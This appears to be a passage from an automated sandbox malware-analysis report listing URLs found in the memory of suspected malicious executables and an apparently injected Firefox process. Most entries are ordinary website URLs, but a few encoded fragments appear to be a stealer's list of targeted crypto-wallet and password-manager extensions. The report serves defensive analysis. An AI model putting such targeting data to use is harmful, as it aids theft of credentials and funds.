Source: file.exe, 00000000.00000003.2049650600.0000000001193000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/leh
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001A.00000003.3029938509.000001EE36A59000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3002704138.000001EE2EA00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/searchc1a6845f-015e-4e67-bc64-6e39a843643f9e73a342-4e27-4e9f-8a29-be
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3214859030.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3075217383.000001EE3093A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F616000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.3187754650.000001EE2F924000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hulu.com/watch/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000003.3099283549.000001EE305CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3098794040.000001EE305C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3091384687.000001EE305C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.instagram.com/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 0000001A.00000002.3139366213.000001EE2A2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303939090.0000237DE8D04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F657000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3146151572.000001EE2AA0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2467756914.000000000058A000.00000040.00000001.01000000.00000008.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A15D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.2093953428.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2424375790.000000002F77D000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3055335237.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE3043E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.3211314720.000001EE3061A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: firefox.exe, 0000001A.00000002.3269826039.000001EE3130F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E628000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060047008.000001EE368E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3186210081.000001EE2F8E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3240693610.000001EE30F97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3060200442.000001EE36870000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.3155908623.000001EE2D9B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000002.3278899876.000001EE317AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3182930609.000001EE2F6AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3058566834.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063958023.000001EE36CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059973005.000001EE36909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3058566834.000001EE36CCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063958023.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3297708005.000001EE36CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE311C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062576027.000001EE36909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.3299503408.000001EE38B64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281572307.000001EE3219D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3135741496.000001EE1EA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3184999337.000001EE2F799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3101970119.000001EE305F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE30430000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE36833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3238122305.000001EE30E70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE3170D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 